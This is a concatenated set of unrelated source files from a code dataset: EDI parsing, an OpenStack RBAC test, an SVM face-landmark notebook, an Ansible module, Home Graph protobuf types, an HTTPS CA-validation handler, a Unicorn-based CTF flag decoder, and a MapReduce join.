\r\n elif self.segments[icount][0] == 'ITEM':\r\n logg.debug('-- self.segments[icount] == %s' % self.segments[icount])\r\n elem = ['ITEM']\r\n elem.append(self.segments[icount])\r\n \r\n for iItem in range(icount + 1, len(self.segments)):\r\n logg.debug('---- self.segments[iItem] == %s' % self.segments[iItem])\r\n \r\n if self.segments[iItem][0] in ['BO', 'PRICE', 'DESC', 'PHYS', 'TERMS_ITEM', 'ALLOW_ITEM']:\r\n elem.append(self.segments[iItem])\r\n \r\n elif self.segments[iItem][0] == 'TAX':\r\n taxelem = []\r\n for iTax in range(iItem + 1, len(self.segments)):\r\n if self.segments[iTax][0] == 'TAX':\r\n taxelem.append(self.segments[iTax])\r\n else:\r\n break\r\n\r\n elem.append(taxelem)\r\n\r\n else:\r\n #new item\r\n break\r\n\r\n elif self.segments[icount][0] in ['BO', 'PRICE', 'DESC', 'PHYS', 'TERMS_ITEM', 'ALLOW_ITEM']:\r\n #'TOTAL': ['M', ], \r\n #'TOTAL_TAX': ['C', ], \r\n #'CARRIER': ['O', ], \r\n #'ALLOW_GEN': ['O', ], \r\n #'PACK': ['C', ] \r\n continue\r\n \r\n #elif self.segments[icount][0] in ['TOTAL', 'TOTAL_TAX', 'CARRIER', 'ALLOW_GEN', 'PACK']:\r\n #pass\r\n else:\r\n elem = self.segments[icount]\r\n\r\n log.debug(elem)\r\n if elem[0] != '':\r\n spec = self.docSpec[elem[0]]\r\n try:\r\n oseg = ediSegment(self.docType, elem, spec)\r\n log.debug(oseg)\r\n \r\n except Exception as ex:\r\n# print('_readSegment: %s' % ex)\r\n log.exception('_readSegment: %s' % ex)\r\n\r\nclass edi850_Rona(edi850): pass\r\nclass edi850_HomeDepot(edi850): pass\r\nclass edi850_Lowes(edi850): pass\r\nclass edi850_Menards(edi850): pass\r\n","sub_path":"python/prototype/transfertedi_v1/negotium_edidoc/edidoc.py","file_name":"edidoc.py","file_ext":"py","file_size_in_byte":19601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"11964589","text":"n=int(input())\nli=list(input().split())\na=[]\ni=0\nfor i in range(len(li)):\n for j in range(0,len(li)-i-1):\n if len(li[j])>len(li[j+1]):\n li[j],li[j+1]=li[j+1],li[j]\nfor i in range(len(li)-1):\n if len(li[i])==len(li[i+1]) and li[i]>li[i+1]:\n li[i],li[i+1]=li[i+1],li[i]\nprint(*li)\n\n\n \n\n \n \n\n \n\n \n \n","sub_path":"25_ascending_order.py","file_name":"25_ascending_order.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"87794806","text":"# Copyright 2017 AT&T Corporation.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest.common import waiters\nfrom tempest import config\nfrom tempest.lib import decorators\n\nfrom patrole_tempest_plugin import rbac_rule_validation\nfrom patrole_tempest_plugin.rbac_utils import rbac_utils\nfrom patrole_tempest_plugin.tests.api.compute import rbac_base\n\nCONF = config.CONF\n\n\nclass ServerActionsRbacTest(rbac_base.BaseV2ComputeRbacTest):\n\n def tearDown(self):\n rbac_utils.switch_role(self, switchToRbacRole=False)\n super(ServerActionsRbacTest, self).tearDown()\n\n @classmethod\n def setup_clients(cls):\n super(ServerActionsRbacTest, cls).setup_clients()\n cls.client = cls.servers_client\n\n @classmethod\n def skip_checks(cls):\n super(ServerActionsRbacTest, cls).skip_checks()\n if not CONF.compute_feature_enabled.api_extensions:\n raise cls.skipException(\n '%s skipped as no compute extensions enabled' % cls.__name__)\n if not CONF.compute_feature_enabled.interface_attach:\n raise cls.skipException(\n '%s skipped as interface attachment is not available'\n % cls.__name__)\n\n @classmethod\n def resource_setup(cls):\n cls.set_validation_resources()\n super(ServerActionsRbacTest, cls).resource_setup()\n cls.server_id = cls.create_test_server(wait_until='ACTIVE',\n validatable=True)['id']\n\n def _test_start_server(self):\n self.client.start_server(self.server_id)\n waiters.wait_for_server_status(self.client, self.server_id,\n 'ACTIVE')\n\n def _test_stop_server(self):\n self.client.stop_server(self.server_id)\n waiters.wait_for_server_status(self.client, self.server_id,\n 'SHUTOFF')\n\n @rbac_rule_validation.action(\n service=\"nova\",\n rule=\"os_compute_api:servers:stop\")\n @decorators.idempotent_id('ab4a17d2-166f-4a6d-9944-f17baa576cf2')\n def test_stop_server(self):\n rbac_utils.switch_role(self, switchToRbacRole=True)\n self._test_stop_server()\n\n @rbac_rule_validation.action(\n service=\"nova\",\n rule=\"os_compute_api:servers:start\")\n @decorators.idempotent_id('8876bfa9-4d10-406e-a335-a57e451abb12')\n def test_start_server(self):\n self._test_stop_server()\n rbac_utils.switch_role(self, switchToRbacRole=True)\n self._test_start_server()\n","sub_path":"patrole_tempest_plugin/tests/api/compute/test_server_actions_rbac.py","file_name":"test_server_actions_rbac.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"177285024","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Importing the necessary packages and methods\n\n# In[1]:\n\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport cv2\nimport os\nimport dlib\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nfrom keras.preprocessing import image\nfrom sklearn import decomposition\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\nfrom sklearn import metrics\nfrom skimage.color import rgb2gray\nimport pickle\n\n\n# Initializing necessary parameters for future methods\n\n# In[2]:\n\n\nfile_path = 'D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba\\img'\nsample_size = 5000\n\n\n# This function takes an image and first resizes for H.O.G then grayscales it, then performs H.O.G on it and returns the image as well as the H.O.G image as a 1D array\n\n# In[3]:\n\n\nlabels_file = open('D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba\\labels.csv', 'r')\nlines = labels_file.readlines()\nlines = lines[1:]\ngender_label = {}\nfor line in lines:\n gender_label[line.split('\\t')[1]] = line.split('\\t')[2]\n\n\n# In[4]:\n\n\ndef shape_to_np(shape, dtype=\"int\"):\n coords = np.zeros((shape.num_parts, 2), dtype=dtype)\n for i in range(0, shape.num_parts):\n coords[i] = (shape.part(i).x, shape.part(i).y)\n return coords\n\n\n# In[5]:\n\n\ndef rect_to_dim(rect):\n w = rect.right() - rect.left()\n h = rect.top() - rect.bottom()\n return (w, h)\n\n\n# In[6]:\n\n\ndef create_feature(img):\n face_detect = dlib.get_frontal_face_detector()\n shape_predict = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n gray = gray.astype('uint8')\n rects = face_detect(gray, 1)\n num_faces = len(rects)\n \n if num_faces == 0:\n return None\n\n face_areas = np.zeros((1, num_faces))\n face_shapes = np.zeros((136, num_faces), dtype=np.int64)\n \n for (i, rect) in enumerate(rects):\n temp_shape = shape_predict(gray, rect)\n temp_shape = shape_to_np(temp_shape)\n (w, h) = rect_to_dim(rect)\n face_shapes[:, i] = np.reshape(temp_shape, [136])\n face_areas[0, i] = w * h\n dlibout = np.reshape(np.transpose(face_shapes[:, np.argmax(face_areas)]), [68, 2])\n return dlibout\n\n\n# This function essentially makes use of the function above to preprocess all the images in the dataset\n\n# In[7]:\n\n\ndef create_feature_matrix(file_path, sample_size, gender_labels):\n counter = 0\n features = []\n labels = []\n image_paths = [os.path.join(file_path, l) for l in os.listdir(file_path)]\n for img_path in image_paths:\n img = image.img_to_array(image.load_img(img_path, target_size=None, interpolation='bicubic'))\n file_name= img_path.split('\\\\')[-1]\n feature = create_feature(img)\n if feature is not None:\n features.append(feature)\n labels.append(gender_labels[file_name])\n counter += 1\n if counter > sample_size - 1:\n break\n features = np.array(features)\n return features, labels\n\n\n# In[8]:\n\n\nx, y = create_feature_matrix(file_path, sample_size, gender_label)\n\n\n# In[9]:\n\n\ny = (np.array(y).astype(int) + 1)/2\ny = y.astype(int)\n\n\n# In[10]:\n\n\nprint(y.ndim)\nprint(x.ndim)\n\n\n# In[11]:\n\n\nx = x.reshape((x.size//136, 68*2))\n\n\n# In[12]:\n\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n\n\n# In[13]:\n\n\nclassifier = svm.SVC(kernel='poly', degree=3, C=1.0)\n\n\n# In[14]:\n\n\nclassifier.fit(x_train, y_train)\n\n\n# In[15]:\n\n\ny_pred = classifier.predict(x_test)\naccuracy = metrics.accuracy_score(y_test,y_pred=y_pred)\nprint(accuracy)\n\n\n# In[16]:\n\n\nlabels_file = open('D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba_test\\labels.csv', 'r')\nlines = labels_file.readlines()\nlines = lines[1:]\ntest_label = {}\nfor line in lines:\n test_label[line.split('\\t')[1]] = line.split('\\t')[2]\n\n\n# In[17]:\n\n\ntest_path = 'D:\\Admin\\Documents\\Year_4\\AMLS\\Assessment\\dataset_AMLS_20-21\\celeba_test\\img'\n\n\n# In[18]:\n\n\ntest_x, test_y = create_feature_matrix(test_path, 1000, test_label)\n\n\n# In[19]:\n\n\ntest_y = (np.array(test_y).astype(int) + 1)/2\ntest_y = test_y.astype(int)\ntest_x = test_x.reshape((test_x.size//136, 136))\n\n\n# In[20]:\n\n\ntest_pred = classifier.predict(test_x)\ntest_accuracy = metrics.accuracy_score(test_y, y_pred=test_pred)\nprint(test_accuracy)\n\n\n# In[21]:\n\n\nmodel_name = \"Raw_SVM.sav\"\n\n\n# In[22]:\n\n\npickle.dump(classifier, open(model_name, \"wb\"))\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"AMLS_20-21_SN17031141/A1/A1_SVM.py","file_name":"A1_SVM.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"120450820","text":"#!/usr/bin/python\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.helpers import ModuleRes, CartridgeException\nfrom ansible.module_utils.helpers import is_expelled, is_stateboard\n\n\nargument_spec = {\n 'hostvars': {'required': True, 'type': 'dict'},\n 'play_hosts': {'required': True, 'type': 'list'},\n 'control_host': {'required': True, 'type': 'str'},\n}\n\n\ndef get_replicasets(params):\n hostvars = params['hostvars']\n play_hosts = params['play_hosts']\n\n replicasets = {}\n for i, instance_vars in hostvars.items():\n if i not in play_hosts:\n continue\n\n if is_expelled(instance_vars) or is_stateboard(instance_vars):\n continue\n\n if 'replicaset_alias' in instance_vars:\n replicaset_alias = instance_vars['replicaset_alias']\n if replicaset_alias not in replicasets:\n replicasets.update({\n replicaset_alias: {\n 'instances': [],\n 'roles': instance_vars.get('roles', None),\n 'failover_priority': instance_vars.get('failover_priority', None),\n 'all_rw': instance_vars.get('all_rw', None),\n 'weight': instance_vars.get('weight', None),\n 'vshard_group': instance_vars.get('vshard_group', None),\n 'alias': replicaset_alias,\n }\n })\n replicasets[replicaset_alias]['instances'].append(i)\n\n join_host = params['control_host']\n replicasets_list = [v for _, v in replicasets.items()]\n\n for r in replicasets_list:\n if r['failover_priority'] is None:\n r['failover_priority'] = [r['instances'][0]]\n\n if replicasets_list and not join_host:\n first_replicaset = replicasets_list[0]\n join_host = first_replicaset['failover_priority'][0]\n\n return ModuleRes(success=True, changed=False, meta={\n 'replicasets': replicasets_list,\n 'join_host': join_host,\n })\n\n\ndef main():\n module = AnsibleModule(argument_spec=argument_spec)\n try:\n res = get_replicasets(module.params)\n except CartridgeException as e:\n module.fail_json(msg=str(e))\n\n if res.success is True:\n module.exit_json(changed=res.changed, meta=res.meta)\n else:\n module.fail_json(msg=res.msg)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"library/cartridge_get_replicasets.py","file_name":"cartridge_get_replicasets.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"243846108","text":"#create full files\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport shutil\nimport os.path\nimport subprocess\n\ninputdir = '/Users/schulte/xfitter/F2_Analysis/Analysis/29_08_2018_10P/'\n\nfor name in os.listdir(inputdir):\n\n\tif name == '.DS_Store':\n\t\tcontinue\n\t\n\tdirect = inputdir + name\n\tprint('I am doing:')\n\tprint(direct)\n\t\n\tos.chdir(direct)\n\t\n\tprint('xfitter is running')\n\tpy2output = subprocess.check_output(\"xfitter\", shell=True)\n\n\t\n\t\n\t\n\tEnd = py2output[-24:]\n\tprint(End)\n\tif End.rstrip() == 'End of Message Summary':\n\t\tprint('End of xfitter')\n\t\tpy2output2 = subprocess.check_output(\"xfitter-draw --root output\", shell=True)\n\t\tprint('Plots are produced')\n\t\tEnd_draw = py2output2[-34:]\n\n\t\tif End.rstrip() == 'Plots saved in: output/plots.pdf':\n\t\t\tprint('End of drawing')\n\t\t\tcontinue\n\n\n\n\n\n\nprint('I am done!!!')\n","sub_path":"Analysis/Scripts/RunXfitter.py","file_name":"RunXfitter.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"126174591","text":"from django import template\n\nregister = template.Library()\n\n\n@register.filter(name='multiply')\ndef multiply(value, arg):\n return value * arg\n\n\n@register.filter(name='calculateCalorieAvg')\ndef calculateCalorieAvg(value):\n minCalorie = 0\n maxCalorie = 0\n for menu in value:\n for serving in menu.food_serving.all():\n minCalorie += serving.food.min_calorie * serving.quantity\n maxCalorie += serving.food.max_calorie * serving.quantity\n return str(minCalorie) + \" - \" + str(maxCalorie)\n","sub_path":"AdminPage/templatetags/app_filters.py","file_name":"app_filters.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"504904220","text":"# -*- coding: utf-8 -*-\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport proto # type: ignore\n\nfrom google.home.graph_v1.types import device\nfrom google.protobuf import struct_pb2 # type: ignore\n\n\n__protobuf__ = proto.module(\n package='google.home.graph.v1',\n manifest={\n 'RequestSyncDevicesRequest',\n 'RequestSyncDevicesResponse',\n 'ReportStateAndNotificationRequest',\n 'ReportStateAndNotificationResponse',\n 'StateAndNotificationPayload',\n 'ReportStateAndNotificationDevice',\n 'DeleteAgentUserRequest',\n 'QueryRequest',\n 'QueryRequestInput',\n 'QueryRequestPayload',\n 'AgentDeviceId',\n 'QueryResponse',\n 'QueryResponsePayload',\n 'SyncRequest',\n 'SyncResponse',\n 'SyncResponsePayload',\n },\n)\n\n\nclass RequestSyncDevicesRequest(proto.Message):\n r\"\"\"Request type for the\n ```RequestSyncDevices`` <#google.home.graph.v1.HomeGraphApiService.RequestSyncDevices>`__\n call.\n\n Attributes:\n agent_user_id (str):\n Required. Third-party user ID.\n async_ (bool):\n Optional. If set, the request will be added to a queue and a\n response will be returned immediately. This enables\n concurrent requests for the given ``agent_user_id``, but the\n caller will not receive any error responses.\n \"\"\"\n\n agent_user_id = proto.Field(\n proto.STRING,\n number=1,\n )\n async_ = proto.Field(\n proto.BOOL,\n number=2,\n )\n\n\nclass RequestSyncDevicesResponse(proto.Message):\n r\"\"\"Response type for the\n ```RequestSyncDevices`` <#google.home.graph.v1.HomeGraphApiService.RequestSyncDevices>`__\n call.\n\n Intentionally empty upon success. An HTTP response code is returned\n with more details upon failure.\n \"\"\"\n\n\nclass ReportStateAndNotificationRequest(proto.Message):\n r\"\"\"Request type for the\n ```ReportStateAndNotification`` <#google.home.graph.v1.HomeGraphApiService.ReportStateAndNotification>`__\n call. It may include states, notifications, or both. States and\n notifications are defined per ``device_id`` (for example, \"123\" and\n \"456\" in the following example).\n\n Example\n =======\n\n .. code:: json\n\n {\n \"requestId\": \"ff36a3cc-ec34-11e6-b1a0-64510650abcf\",\n \"agentUserId\": \"1234\",\n \"payload\": {\n \"devices\": {\n \"states\": {\n \"123\": {\n \"on\": true\n },\n \"456\": {\n \"on\": true,\n \"brightness\": 10\n }\n },\n }\n }\n }\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n event_id (str):\n Unique identifier per event (for example, a\n doorbell press).\n agent_user_id (str):\n Required. Third-party user ID.\n follow_up_token (str):\n Deprecated.\n (-- Token to maintain state in the follow up\n notification response. See the notifications\n guide at\n https://developers.google.com/assistant/smarthome/develop/notifications\n for details on implementing follow up\n notifications --)\n payload (google.home.graph_v1.types.StateAndNotificationPayload):\n Required. State of devices to update and\n notification metadata for devices.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n event_id = proto.Field(\n proto.STRING,\n number=4,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n follow_up_token = proto.Field(\n proto.STRING,\n number=5,\n )\n payload = proto.Field(\n proto.MESSAGE,\n number=3,\n message='StateAndNotificationPayload',\n )\n\n\nclass ReportStateAndNotificationResponse(proto.Message):\n r\"\"\"Response type for the\n ```ReportStateAndNotification`` <#google.home.graph.v1.HomeGraphApiService.ReportStateAndNotification>`__\n call.\n\n Attributes:\n request_id (str):\n Request ID copied from\n [ReportStateAndNotificationRequest][google.home.graph.v1.ReportStateAndNotificationRequest].\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass StateAndNotificationPayload(proto.Message):\n r\"\"\"Payload containing the state and notification information for\n devices.\n\n Attributes:\n devices (google.home.graph_v1.types.ReportStateAndNotificationDevice):\n The devices for updating state and sending\n notifications.\n \"\"\"\n\n devices = proto.Field(\n proto.MESSAGE,\n number=1,\n message='ReportStateAndNotificationDevice',\n )\n\n\nclass ReportStateAndNotificationDevice(proto.Message):\n r\"\"\"The states and notifications specific to a device.\n Attributes:\n states (google.protobuf.struct_pb2.Struct):\n States of devices to update. See the **Device STATES**\n section of the individual trait `reference\n guides `__.\n notifications (google.protobuf.struct_pb2.Struct):\n Notifications metadata for devices. See the **Device\n NOTIFICATIONS** section of the individual trait `reference\n guides `__.\n \"\"\"\n\n states = proto.Field(\n proto.MESSAGE,\n number=1,\n message=struct_pb2.Struct,\n )\n notifications = proto.Field(\n proto.MESSAGE,\n number=2,\n message=struct_pb2.Struct,\n )\n\n\nclass DeleteAgentUserRequest(proto.Message):\n r\"\"\"Request type for the\n ```DeleteAgentUser`` <#google.home.graph.v1.HomeGraphApiService.DeleteAgentUser>`__\n call.\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n agent_user_id (str):\n Required. Third-party user ID.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass QueryRequest(proto.Message):\n r\"\"\"Request type for the\n ```Query`` <#google.home.graph.v1.HomeGraphApiService.Query>`__\n call.\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n agent_user_id (str):\n Required. Third-party user ID.\n inputs (Sequence[google.home.graph_v1.types.QueryRequestInput]):\n Required. Inputs containing third-party\n device IDs for which to get the device states.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n inputs = proto.RepeatedField(\n proto.MESSAGE,\n number=3,\n message='QueryRequestInput',\n )\n\n\nclass QueryRequestInput(proto.Message):\n r\"\"\"Device ID inputs to\n [QueryRequest][google.home.graph.v1.QueryRequest].\n\n Attributes:\n payload (google.home.graph_v1.types.QueryRequestPayload):\n Payload containing third-party device IDs.\n \"\"\"\n\n payload = proto.Field(\n proto.MESSAGE,\n number=1,\n message='QueryRequestPayload',\n )\n\n\nclass QueryRequestPayload(proto.Message):\n r\"\"\"Payload containing device IDs.\n Attributes:\n devices (Sequence[google.home.graph_v1.types.AgentDeviceId]):\n Third-party device IDs for which to get the\n device states.\n \"\"\"\n\n devices = proto.RepeatedField(\n proto.MESSAGE,\n number=1,\n message='AgentDeviceId',\n )\n\n\nclass AgentDeviceId(proto.Message):\n r\"\"\"Third-party device ID for one device.\n Attributes:\n id (str):\n Third-party device ID.\n \"\"\"\n\n id = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass QueryResponse(proto.Message):\n r\"\"\"Response type for the\n ```Query`` <#google.home.graph.v1.HomeGraphApiService.Query>`__\n call. This should follow the same format as the Google smart home\n ``action.devices.QUERY``\n `response `__.\n\n Example\n =======\n\n .. code:: json\n\n {\n \"requestId\": \"ff36a3cc-ec34-11e6-b1a0-64510650abcf\",\n \"payload\": {\n \"devices\": {\n \"123\": {\n \"on\": true,\n \"online\": true\n },\n \"456\": {\n \"on\": true,\n \"online\": true,\n \"brightness\": 80,\n \"color\": {\n \"name\": \"cerulean\",\n \"spectrumRGB\": 31655\n }\n }\n }\n }\n }\n\n Attributes:\n request_id (str):\n Request ID used for debugging. Copied from\n the request.\n payload (google.home.graph_v1.types.QueryResponsePayload):\n Device states for the devices given in the\n request.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n payload = proto.Field(\n proto.MESSAGE,\n number=2,\n message='QueryResponsePayload',\n )\n\n\nclass QueryResponsePayload(proto.Message):\n r\"\"\"Payload containing device states information.\n Attributes:\n devices (Sequence[google.home.graph_v1.types.QueryResponsePayload.DevicesEntry]):\n States of the devices. Map of third-party\n device ID to struct of device states.\n \"\"\"\n\n devices = proto.MapField(\n proto.STRING,\n proto.MESSAGE,\n number=1,\n message=struct_pb2.Struct,\n )\n\n\nclass SyncRequest(proto.Message):\n r\"\"\"Request type for the\n ```Sync`` <#google.home.graph.v1.HomeGraphApiService.Sync>`__ call.\n\n Attributes:\n request_id (str):\n Request ID used for debugging.\n agent_user_id (str):\n Required. Third-party user ID.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n agent_user_id = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass SyncResponse(proto.Message):\n r\"\"\"Response type for the\n ```Sync`` <#google.home.graph.v1.HomeGraphApiService.Sync>`__ call.\n This should follow the same format as the Google smart home\n ``action.devices.SYNC``\n `response `__.\n\n Example\n =======\n\n .. code:: json\n\n {\n \"requestId\": \"ff36a3cc-ec34-11e6-b1a0-64510650abcf\",\n \"payload\": {\n \"agentUserId\": \"1836.15267389\",\n \"devices\": [{\n \"id\": \"123\",\n \"type\": \"action.devices.types.OUTLET\",\n \"traits\": [\n \"action.devices.traits.OnOff\"\n ],\n \"name\": {\n \"defaultNames\": [\"My Outlet 1234\"],\n \"name\": \"Night light\",\n \"nicknames\": [\"wall plug\"]\n },\n \"willReportState\": false,\n \"deviceInfo\": {\n \"manufacturer\": \"lights-out-inc\",\n \"model\": \"hs1234\",\n \"hwVersion\": \"3.2\",\n \"swVersion\": \"11.4\"\n },\n \"customData\": {\n \"fooValue\": 74,\n \"barValue\": true,\n \"bazValue\": \"foo\"\n }\n }]\n }\n }\n\n Attributes:\n request_id (str):\n Request ID used for debugging. Copied from\n the request.\n payload (google.home.graph_v1.types.SyncResponsePayload):\n Devices associated with the third-party user.\n \"\"\"\n\n request_id = proto.Field(\n proto.STRING,\n number=1,\n )\n payload = proto.Field(\n proto.MESSAGE,\n number=2,\n message='SyncResponsePayload',\n )\n\n\nclass SyncResponsePayload(proto.Message):\n r\"\"\"Payload containing device information.\n Attributes:\n agent_user_id (str):\n Third-party user ID\n devices (Sequence[google.home.graph_v1.types.Device]):\n Devices associated with the third-party user.\n \"\"\"\n\n agent_user_id = proto.Field(\n proto.STRING,\n number=1,\n )\n devices = proto.RepeatedField(\n proto.MESSAGE,\n number=2,\n message=device.Device,\n )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/home/graph/v1/home-graph-v1-py/google/home/graph_v1/types/homegraph.py","file_name":"homegraph.py","file_ext":"py","file_size_in_byte":13005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"446257421","text":"#!/usr/bin/env python\n#==============================================================================\n# Copyright 2012 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Amazon Software License (the \"License\"). You may not use\n# this file except in compliance with the License. A copy of the License is\n# located at\n#\n# http://aws.amazon.com/asl/\n#\n# or in the \"license\" file accompanying this file. This file is distributed on\n# an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or\n# implied. See the License for the specific language governing permissions\n# and limitations under the License.\n#==============================================================================\n\nfrom httplib import HTTPSConnection\nimport os\nimport socket\nimport ssl\nfrom urllib2 import HTTPSHandler\n\nfrom scli.constants import CABundle\nfrom lib.utility import shell_utils\n\n\nHTTP_GET = 'GET'\nHTTP_POST = 'POST' \n\nclass CaValidationHttpsConnection(HTTPSConnection):\n '''Override HTTPSConnection to verify server certification'''\n \n def connect(self):\n sock = socket.create_connection((self.host, self.port),\n self.timeout, self.source_address)\n if self._tunnel_host:\n self.sock = sock\n self._tunnel()\n\n self.sock = ssl.wrap_socket(sock, \n ssl_version = ssl.PROTOCOL_TLSv1,\n cert_reqs = ssl.CERT_REQUIRED, \n ca_certs = os.path.join(shell_utils.ori_path(),\n CABundle.Path,\n CABundle.Name))\n \n\nclass CaValidationHttpsHandler(HTTPSHandler):\n '''Override HTTPSHandler to use CaValidationHttpsConnection for connection'''\n \n def https_open(self, req):\n return self.do_open(CaValidationHttpsConnection, req) \n ","sub_path":"lib/aws/http_client.py","file_name":"http_client.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"70746013","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nfrom unicorn import *\nfrom unicorn.x86_const import *\nfrom pwn import *\n\ndef getxmm0(n):\n # code to be emulated\n X86_CODE32 = asm(\"cvtdq2pd xmm0, xmm0\")\n X86_CODE32 += asm(\"mulsd xmm0, xmm1\")\n\n # memory address where emulation starts\n ADDRESS = 0x1000000\n\n try:\n mu = Uc(UC_ARCH_X86, UC_MODE_32)\n mu.mem_map(ADDRESS, 2 * 1024 * 1024)\n mu.mem_write(ADDRESS, X86_CODE32)\n mu.reg_write(UC_X86_REG_XMM0, n)\n mu.reg_write(UC_X86_REG_XMM1, 0x00000000000000004036800000000000)\n mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))\n\n r_xmm0 = mu.reg_read(UC_X86_REG_XMM0)\n return r_xmm0\n\n except UcError as e:\n print(\"ERROR: %s\" % e)\n\nif __name__ == \"__main__\":\n flag = ''\n\n d = {}\n for i in range(0x10):\n d[getxmm0(i)] = i\n\n dump = open(\"dump.bin\").read()\n assert len(dump) == 16 * 24\n\n for i in range(0, len(dump), 16):\n x = dump[i:i+8]\n x = u64(x)\n y = dump[i+8:i+16]\n y = u64(y)\n\n z = d[x] * 0x10 + d[y]\n flag += chr(z)\n\n print(flag)\n\n\n","sub_path":"_ctfs/wargamesmy-18/quickmeh/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"53751683","text":"# Implement a class to hold room information. This should have name and\n# description attributes.\nclass Room:\n def __init__(self, name, description):\n self.name = name\n self.description = description\n self.n_to = None\n self.s_to = None\n self.e_to = None\n self.w_to = None\n self.items = []\n\n def __str__(self):\n return f\"\"\"{self.name}, {self.description}\\n\n There is {\" and \".join([item.name for item in self.items if self.items]) or \"nothing\"} in this room.\"\"\"","sub_path":"src/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"220003430","text":"import MapReduce\nimport sys\n\n\"\"\"\nProblem 2 - Natural Join Operation \n\"\"\"\n\nmr = MapReduce.MapReduce()\n\n# =============================\n# Do not modify above this line\n\ndef mapper(record):\n # key: join attribute(order_id)\n # value: whole record include the table name which the record originated from\n key = record[1]\n value = record\n\n mr.emit_intermediate(key, record)\n\ndef reducer(key, list_of_values):\n # key: join attribute(order_id)\n # value: whole record include the table name which the record originated from\n\n order_record = list()\n temp = list()\n result = list()\n for value in list_of_values:\n if value[0] == \"order\":\n order_record = value\n # mr.emit(order_record)\n # print order_record \n\n for value in list_of_values:\n if value[0] == \"line_item\":\n join_record = list(order_record)\n join_record.extend(value)\n result.append(join_record)\n mr.emit(join_record)\n\n# Do not modify below this line\n# =============================\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)\n","sub_path":"assignment3/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
